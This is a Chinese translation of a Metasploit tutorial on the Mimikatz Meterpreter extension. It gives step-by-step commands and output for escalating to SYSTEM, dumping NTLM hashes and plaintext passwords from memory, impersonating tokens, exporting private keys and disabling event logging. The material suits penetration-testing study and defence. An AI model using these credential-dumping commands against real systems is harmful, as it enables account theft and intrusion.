渗透测试工具Mimikatz ON Metasploit

0x00 背景

看了各种文章讲神器mimikatz,但是一直没有讲与metasploit使用的。Metasploit其实早就集成了mimikatz,现在将官方的文章翻译给大家。

[[115338]]

Mimikatz是Benjamin Delpy (gentilkiwi)写的非常棒的一款后渗透测试工具。在最初渗透阶段之后的大多数时间里,攻击者们可能是想在计算机/网络中得到一个更坚固的立足点。这样做通常需要一组补充的工具。Mimikatz是一种将攻击者想执行的、最有用的任务捆绑在一起的尝试。

幸运地,metasploit已经决定将其作为一个meterpreter脚本来集成mimikatz,允许方便地访问它一系列的特性,而不需要上传任何文件到被盗用主机的磁盘上。

Note:在metasploit中mimikatz的版本是v1.0,然而Benjamin Delpy早已经在他的网站上作为一个独立的包发布了v2.0。这是有必要提出的,因为很多的语法与升级到v2.0已经改变了。

0x01 Loading Mimikatz

在得到一个meterpreter shell后,我们应该确保我们的session是运行在system权限以便让mimikatz正常工作。

  1. meterpreter > getuid  
  2. Server username: WINXP-E95CE571A1\Administrator  
  3. meterpreter > getsystem  
  4. ...got system (via technique 1).  
  5. meterpreter > getuid  
  6. Server username: NT AUTHORITY\SYSTEM  
  7.  

Mimikatz支持32位和64位的windows架构。在升级权限到system后,我们需要通过“sysinfo”命令来确认目标机器的架构。这对于64位机器是有必要的,因为我们可能会破坏一个32位的进程在64位的架构上。如果这样的话,meterpreter将会尝试加载32位版本的mimikatz到内存,将可能会使得大部分的特性不可用。这可以通过查看正在运行的进程列表以及在加载mimikatz之前迁移到64位进程来避免。

  1. meterpreter > sysinfo  
  2. Computer : WINXP-E95CE571A1  
  3. OS : Windows XP (Build 2600, Service Pack 3).  
  4. Architecture : x86  
  5. System Language : en_US  
  6. Meterpreter : x86/win32  
  7. 既然这是一个32位机器,我们可以加载mimikatz模块进内存:  
  8. meterpreter > load mimikatz  
  9. Loading extension mimikatz...success.  
  10. meterpreter > help mimikatz  
  11. # Mimikatz Commands  
  12. Command Description  
  13. ------- -----------  
  14. kerberos Attempt to retrieve kerberos creds  
  15. livessp Attempt to retrieve livessp creds  
  16. mimikatz_command Run a custom commannd  
  17. msv Attempt to retrieve msv creds (hashes)  
  18. ssp Attempt to retrieve ssp creds  
  19. tspkg Attempt to retrieve tspkg creds  
  20. wdigest Attempt to retrieve wdigest creds 

Metasploit提供给我们一些内建的命令来查看mimikatz的最常用的功能:从内存中导出hash以及明文证书。Mimikatz_command选项可以让我们使用mimikatz的全部特性。

  1. meterpreter > mimikatz_command -f version  
  2. mimikatz 1.0 x86 (RC) (Nov 7 2013 08:21:02) 

尽管有些不同寻常,我们仍然可以通过尝试加载一个不存在的特性来得到可用模块的完整列表:

  1. meterpreter > mimikatz_command -f fu::  
  2. Module : 'fu' introuvable  
  3. Modules disponibles :  
  4. - Standard  
  5. crypto - Cryptographie et certificats  
  6. hash - Hash  
  7. system - Gestion système  
  8. process - Manipulation des processus  
  9. thread - Manipulation des threads  
  10. service - Manipulation des services  
  11. privilege - Manipulation des privilèges  
  12. handle - Manipulation des handles  
  13. impersonate - Manipulation tokens d'accès  
  14. winmine - Manipulation du démineur  
  15. minesweeper - Manipulation du démineur 7  
  16. nogpo - Anti-gpo et patchs divers  
  17. samdump - Dump de SAM  
  18. inject - Injecteur de librairies  
  19. ts - Terminal Server  
  20. divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module  
  21. sekurlsa - Dump des sessions courantes par providers LSASS  
  22. efs - Manipulations EFS 

我们可以使用如下的语法来请求某个模块可用的选项:

  1. meterpreter > mimikatz_command -f divers::  
  2. Module : 'divers' identifié, mais commande '' introuvable  
  3. Description du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module  
  4. noroutemon - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage  
  5. eventdrop - [super experimental] Patch l'observateur d'événements pour ne plus rien enregistrer  
  6. cancelator - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session  
  7. secrets - Affiche les secrets utilisateur 

0x02 从内存中读取hash和密码

我们既可以使用metasploit内建的命令也可以使用mimikatz自带的命令来从目标机器上导出hash和明文证书。

Built-In Metasploit: msv credentials

  1. meterpreter > msv  
  2. [+] Running as SYSTEM  
  3. [*] Retrieving msv credentials  
  4. msv credentials 
  5. ===============  
  6.    
  7. AuthID   Package    Domain           User              Password  
  8. ------   -------    ------           ----              --------  
  9. 0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }  
  10. 0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }  
  11. 0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)  
  12. 0;56683  NTLM                                          n.s. (Credentials KO)  
  13. 0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO) 

kerberos credentials

  1. meterpreter > kerberos  
  2. [+] Running as SYSTEM  
  3. [*] Retrieving kerberos credentials  
  4. kerberos credentials 
  5. ====================  
  6.    
  7. AuthID   Package    Domain           User              Password  
  8. ------   -------    ------           ----              --------  
  9. 0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$    
  10. 0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE       
  11. 0;56683  NTLM                                            
  12. 0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE     
  13. 0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword 

Native Mimikatz:

  1. meterpreter > mimikatz_command -f samdump::hashes  
  2. Ordinateur : winxp-e95ce571a1  
  3. BootKey    : 553d8c1349162121e2a5d3d0f571db7f  
  4.    
  5. Rid  : 500  
  6. User : Administrator  
  7. LM   :   
  8. NTLM : d6eec67681a3be111b5605849505628f  
  9.    
  10. Rid  : 501  
  11. User : Guest  
  12. LM   :   
  13. NTLM :   
  14.    
  15. Rid  : 1000  
  16. User : HelpAssistant  
  17. LM   : 6165cd1a0ebc61e470475c82cd451e14  
  18. NTLM :   
  19.    
  20. Rid  : 1002  
  21. User : SUPPORT_388945a0  
  22. LM   :   
  23. NTLM : 771ee1fce7225b28f8aec4a88aea9b6a  
  24.    
  25. meterpreter > mimikatz_command -f sekurlsa::searchPasswords  
  26. [0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword } 

<前面一句命令在密码超过14位时LM会为空,后一句命令可以得到明文>

0x03 其他的模块

Mimikatz的一些其他模块包含了很多有用的特性,更完整的特性列表可以在Benjamin Delpy的博客 http://blog.gentilkiwi.com/上找到。下面是几个使用实例:

Handle模块可以用来list/kill进程以及模拟用户令牌:

  1. meterpreter > mimikatz_command -f handle::  
  2. Module : 'handle' identifié, mais commande '' introuvable  
  3.    
  4. Description du module : Manipulation des handles  
  5.         list    - Affiche les handles du système (pour le moment juste les processus et tokens)  
  6.  processStop    - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles  
  7. tokenImpersonate        - Essaye d'impersonaliser un token en utilisant d'autres handles  
  8.      nullAcl    - Positionne une ACL null sur des Handles  
  9.    
  10. meterpreter > mimikatz_command -f handle::list  
  11. ...snip...  
  12.   760  lsass.exe                 ->  1004       Token           NT AUTHORITY\NETWORK SERVICE  
  13.   760  lsass.exe                 ->  1008       Process 704     winlogon.exe  
  14.   760  lsass.exe                 ->  1052       Process 980     svchost.exe  
  15.   760  lsass.exe                 ->  1072       Process 2664    fubar.exe  
  16.   760  lsass.exe                 ->  1084       Token           NT AUTHORITY\LOCAL SERVICE  
  17.   760  lsass.exe                 ->  1096       Process 704     winlogon.exe  
  18.   760  lsass.exe                 ->  1264       Process 1124    svchost.exe  
  19.   760  lsass.exe                 ->  1272       Token           NT AUTHORITY\ANONYMOUS LOGON  
  20.   760  lsass.exe                 ->  1276       Process 1804    psia.exe  
  21.   760  lsass.exe                 ->  1352       Process 480     jusched.exe  
  22.   760  lsass.exe                 ->  1360       Process 2056    TPAutoConnSvc.exe  
  23.   760  lsass.exe                 ->  1424       Token           WINXP-E95CE571A1\Administrator  
  24. ...snip... 

Service模块让你可以list/start/stop以及remove windows服务:

  1. meterpreter > mimikatz_command -f service::  
  2. Module : 'service' identifié, mais commande '' introuvable  
  3.    
  4. Description du module : Manipulation des services  
  5.         list    - Liste les services et pilotes  
  6.        start    - Démarre un service ou pilote  
  7.         stop    - Arrête un service ou pilote  
  8.       remove    - Supprime un service ou pilote  
  9.     mimikatz    - Installe et/ou démarre le pilote mimikatz  
  10.    
  11. meterpreter > mimikatz_command -f service::list  
  12. ...snip...  
  13.         WIN32_SHARE_PROCESS     STOPPED RemoteRegistry  Remote Registry  
  14.         KERNEL_DRIVER   RUNNING RFCOMM  Bluetooth Device (RFCOMM Protocol TDI)  
  15.         WIN32_OWN_PROCESS       STOPPED RpcLocator      Remote Procedure Call (RPC) Locator  
  16.   980   WIN32_OWN_PROCESS       RUNNING RpcSs   Remote Procedure Call (RPC)  
  17.         WIN32_OWN_PROCESS       STOPPED RSVP    QoS RSVP  
  18.   760   WIN32_SHARE_PROCESS     RUNNING SamSs   Security Accounts Manager  
  19.         WIN32_SHARE_PROCESS     STOPPED SCardSvr        Smart Card  
  20.  1124   WIN32_SHARE_PROCESS     RUNNING Schedule        Task Scheduler  
  21.         KERNEL_DRIVER   STOPPED Secdrv  Secdrv  
  22.  1124   INTERACTIVE_PROCESS     WIN32_SHARE_PROCESS     RUNNING seclogon        Secondary Logon  
  23.  1804   WIN32_OWN_PROCESS       RUNNING Secunia PSI Agent       Secunia PSI Agent  
  24.  3460   WIN32_OWN_PROCESS       RUNNING Secunia Update Agent    Secunia Update Agent  
  25. ...snip... 

Crypto模块允许你list、export任何证书,以及储存在目标机器上相应的私钥:

  1. meterpreter > mimikatz_command -f crypto::  
  2. Module : 'crypto' identifié, mais commande '' introuvable  
  3.    
  4. Description du module : Cryptographie et certificats  
  5. listProviders   - Liste les providers installés)  
  6.   listStores    - Liste les magasins système  
  7. listCertificates        - Liste les certificats  
  8.     listKeys    - Liste les conteneurs de clés  
  9. exportCertificates      - Exporte les certificats  
  10.   exportKeys    - Exporte les clés  
  11.     patchcng    - [experimental] Patch le gestionnaire de clés pour l'export de clés non exportable  
  12.    patchcapi    - [experimental] Patch la CryptoAPI courante pour l'export de clés non exportable  
  13.    
  14. meterpreter > mimikatz_command -f crypto::listProviders  
  15. Providers CryptoAPI :  
  16.         Gemplus GemSAFE Card CSP v1.0  
  17.         Infineon SICRYPT Base Smart Card CSP  
  18.         Microsoft Base Cryptographic Provider v1.0  
  19.         Microsoft Base DSS and Diffie-Hellman Cryptographic Provider  
  20.         Microsoft Base DSS Cryptographic Provider  
  21.         Microsoft Base Smart Card Crypto Provider  
  22.         Microsoft DH SChannel Cryptographic Provider  
  23.         Microsoft Enhanced Cryptographic Provider v1.0  
  24.         Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider  
  25.         Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)  
  26.         Microsoft RSA SChannel Cryptographic Provider  

Mimikatz也包含许多新奇的特性。最重要的一个就是能够在经典的windows扫描游戏中,直接从内存中读地雷的位置。

 

 

  1. meterpreter > mimikatz_command -f winmine::infos  
  2. Mines           : 99  
  3. Dimension       : 16 lignes x 30 colonnes  
  4. Champ           :   
  5.    
  6.          . . . . . . * . * 1   1 * 1           1 * . . . . . . * . *  
  7.          . . * . . . . . . 1   1 1 1       1 1 2 . * . * * . * * . .  
  8.          . * . . . . . * . 1         1 1 1 1 * . . . * . . * . . . .  
  9.          . . . . . * . * * 2 1     1 2 * . . . * * . . * . . . . * .  
  10.          . . * . . * . . . * 1     1 * . * . . . . . . . * . * . . .  
  11.          . * * . . . . . . . 2 1 1 1 . * . . . . * . . * . . . . . .  
  12.          . . . . . . . . . . . * . . . . . * . . . . . * * . . . . .  
  13.          . . . * . * . . . . . * . * . . . . * . . . . * . . . . . .  
  14.          . . . . . * * . * . * . * . * * . * * * . . . . . . . . * .  
  15.          * * . * . . . 3 1 2 1 2 1 . . * . . * . . * . . * . . . . .  
  16.          . . . . * * * 1         1 . . * * . . . * . . . . . . * . *  
  17.          . . * * * . 3 1     1 1 2 * 2 2 2 . * . . . . . . * . . . .  
  18.          . . . . . * 1   1 1 2 * . 1 1   1 . . . . * . * * * . . . .  
  19.          . . . . . . 1   1 * . . . 1     1 * . . . * . . . . . * . .  
  20.          . . . . . . 1 1 2 . . . * 1     1 1 1 1 * * . * . . . . * .  
  21.          . * . . . . . * . . . * . 1           1 . * . . . . . . . *  

from:http://www.offensive-security.com/metasploit-unleashed/Mimikatz

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/144238.html<

(0)
管理的头像管理
上一篇2025-03-10 01:57
下一篇 2025-03-10 01:58

相关推荐

  • 服务器防火墙硬件和软件哪个效果更好,怎么选

    在服务器防火墙的选型中,硬件防火墙与软件防火墙并非非此即彼,而是互补关系,对于追求高安全等级与稳定性的生产环境,采用硬件防火墙做网络层隔离,配合软件防火墙做主机层加固,是当前公认效果最好的组合方案,硬件防火墙与软件防火墙的核心差异性能与资源占用硬件防火墙依托专用ASIC芯片或FPGA处理数据包,转发延迟通常在微……

    2026-07-26
    0
  • 站群服务器做GEO的核心逻辑是什么?,怎么做

    站群服务器做SEO的核心逻辑,是通过独立IP和资源隔离,彻底切断站点间的关联性,让搜索引擎对每个网站进行独立评估,从而降低连带风险并提升整体排名效率,站群服务器的核心价值:独立性与隔离性IP独立性:为什么是命门搜索引擎在评估网站时,会记录IP地址,如果多个站点共享同一个IP,它们之间很容易被判定为同一主体控制……

    2026-07-26
    0
  • 弹性云服务器到底是什么意思怎么收费,多少钱一个月

    弹性云服务器(Elastic Cloud Server,ECS)是一种可随时调整计算资源的云服务器,收费方式以按需付费和包年包月为主,用户只需为实际使用的资源买单,什么是弹性云服务器弹性云服务器本质上是一台运行在云端、配置可以灵活调整的虚拟机,它不像物理服务器那样固定规格,你可以在业务高峰期快速增加CPU、内存……

    2026-07-26
    0
  • 黑洞解封到底是什么意思,需要多久才能恢复

    黑洞解封是指将被黑洞路由策略屏蔽的IP地址恢复正常通信的过程,恢复时间通常取决于攻击流量是否彻底停止,多数情况下在攻击停止后10分钟到24小时内自动解除,用户也可通过联系服务商手动加速解封,黑洞解封到底是什么用拟人化的方式理解,黑洞就是网络世界的“强制隔离区”,当某个IP地址遭遇大量异常流量,比如DDoS攻击……

    2026-07-26
    0
  • 站群服务器IP段怎么选最安全,有哪些注意事项

    选择站群服务器IP段的安全核心在于IP地址的独立性、机房的路由策略以及服务商的合规资质,一个可靠的IP段必须来自持牌自营机房,具备独立C段和清洗能力,才能避免被关联风险,为什么IP段选择决定站群安全搜索引擎对IP关联的识别算法近年来越来越精细,同一C段或广播域的IP,爬虫通过反向DNS、路由跳数等特征很容易判断……

    2026-07-26
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注